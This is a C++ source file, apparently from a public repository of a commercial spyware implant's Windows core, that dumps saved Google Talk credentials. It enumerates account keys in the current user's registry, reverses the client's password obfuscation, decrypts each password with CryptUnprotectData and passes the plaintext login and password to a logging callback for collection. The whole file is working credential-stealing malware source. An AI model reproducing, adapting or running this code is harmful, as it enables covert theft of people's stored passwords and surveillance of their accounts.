hackedteam/core-win32

View on GitHub
HM_PWDAgent/gtalk.cpp

Summary

Maintainability
Test Coverage

#define _CRT_SECURE_NO_WARNINGS 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <windows.h>
#include "..\\common.h"

// callback for the password
extern int LogPassword(WCHAR *resource, WCHAR *service, WCHAR *user, WCHAR *pass);

#define SAFE_FREE(x) do { if (x) {free(x); x=NULL;} } while (0);

struct p_entry {
    WCHAR service[64];
    WCHAR resource[255];
    WCHAR user_name[255];
    WCHAR user_value[255];
    WCHAR pass_name[255];
    WCHAR pass_value[255];
};

int decode_pass_gtalk(char *pass, char *decoded)
{
    HANDLE hProc;
    BYTE TokenInfo[0x200];
    CHAR UserName[256];
    DWORD UserLen = 256, len;
    CHAR DomainName[256];
    DWORD DomainLen = 256;
    CHAR entString[512];
    SID_NAME_USE peuse;
    PTOKEN_USER ptu;
    BYTE blob[1024];
    DATA_BLOB dataIn;
    DATA_BLOB entropy;
    DATA_BLOB dataOut;

    // get user informations...
    FNC(OpenProcessToken)(FNC(GetCurrentProcess)(), TOKEN_QUERY, &hProc);
    if (hProc == NULL)
        return 0;

    if (FNC(GetTokenInformation)(hProc, TokenUser, TokenInfo, 0x200, &len) == 0) {
        CloseHandle(hProc);
        return 0;
    }
    ptu = (PTOKEN_USER)&TokenInfo;

    if (FNC(LookupAccountSidA)(NULL, ptu->User.Sid, UserName, &UserLen, DomainName, &DomainLen, &peuse) == 0) {
        CloseHandle(hProc);
        return 0;
    }

    CloseHandle(hProc);

    sprintf_s(entString, 512, "%s%s", UserName, DomainName);

    unsigned char entropybuf[16] = { 0xa3, 0x1e, 0xf3, 0x69, 0x07, 0x62, 0xd9, 0x1f,
                                     0x1e, 0xe9, 0x35, 0x7d, 0x4f, 0xd2, 0x7d, 0x48 };

    unsigned int magic = 0xba0da71d;
    unsigned int *val;
    unsigned int i;

    for(i = 0; i < UserLen + DomainLen; i++) {
        val = (unsigned int *)(&entropybuf[(i * 4) % 16]);
        *val ^= (entString[i] * magic);
        magic *= 0x0bc8f;
    }

    magic = *((unsigned int *)entropybuf) | 1; // e` la prima word dell'entropia

    for(i = 4; i < strlen(pass); i += 2) {
        blob[(i-4)/2] = (((pass[i] - 1)<<4) | (pass[i + 1] - 0x21)) - (magic & 0xff);
        magic *= 0x10ff5;
    }

    dataIn.pbData = blob;
    dataIn.cbData = (i-4)/2;
    entropy.pbData = entropybuf;
    entropy.cbData = 16;


    if (FNC(CryptUnprotectData)(&dataIn, NULL, &entropy, NULL, (CRYPTPROTECT_PROMPTSTRUCT *)NULL, 1, &dataOut)) {
        memcpy(decoded, dataOut.pbData, dataOut.cbData);
        LocalFree(dataOut.pbData);
        return dataOut.cbData;
    } 

    return 0;
}

int DumpGtalk(void)
{
    HKEY hreg, hsub;
    DWORD nreg = 0, nsub = 0;
    WCHAR keyname[MAX_PATH];
    WCHAR userkey[MAX_PATH];
    CHAR password[1024];
    DWORD size;
    struct p_entry ptentry;

    if (FNC(RegOpenKeyW)(HKEY_CURRENT_USER, L"Software\\Google\\Google Talk\\Accounts", &hreg) != ERROR_SUCCESS)
        return 0;

    // enumerate all the users
    while (FNC(RegEnumKeyW)(hreg, nreg++, keyname, MAX_PATH) == ERROR_SUCCESS) {
        nsub = 0;

        memset(&ptentry, 0, sizeof(ptentry));

        swprintf_s(ptentry.service, 255, L"Google Talk");

        _snwprintf_s(userkey, MAX_PATH, L"Software\\Google\\Google Talk\\Accounts\\%s", keyname);
        
        // open the user section
        if (FNC(RegOpenKeyW)(HKEY_CURRENT_USER, userkey, &hsub) != ERROR_SUCCESS)
            continue;

        size = sizeof(password);
        if (FNC(RegQueryValueExA)(hsub, "pw", NULL, NULL, (LPBYTE)&password, &size) == ERROR_SUCCESS) {
            CHAR user[MAX_PATH];
            CHAR decoded[1024];
            sprintf_s(user, MAX_PATH, "%S", keyname);
            memset(decoded, 0, MAX_PATH);
            
            swprintf_s(ptentry.resource, 255, L"GTALK");
            swprintf_s(ptentry.user_value, 255, L"%S", user);
            decode_pass_gtalk(password, decoded);
            swprintf_s(ptentry.pass_value, 255, L"%S", decoded);
            LogPassword(ptentry.service, ptentry.resource, ptentry.user_value, ptentry.pass_value);
        }

        FNC(RegCloseKey)(hsub);
    }
    FNC(RegCloseKey)(hreg);

    return 0;
}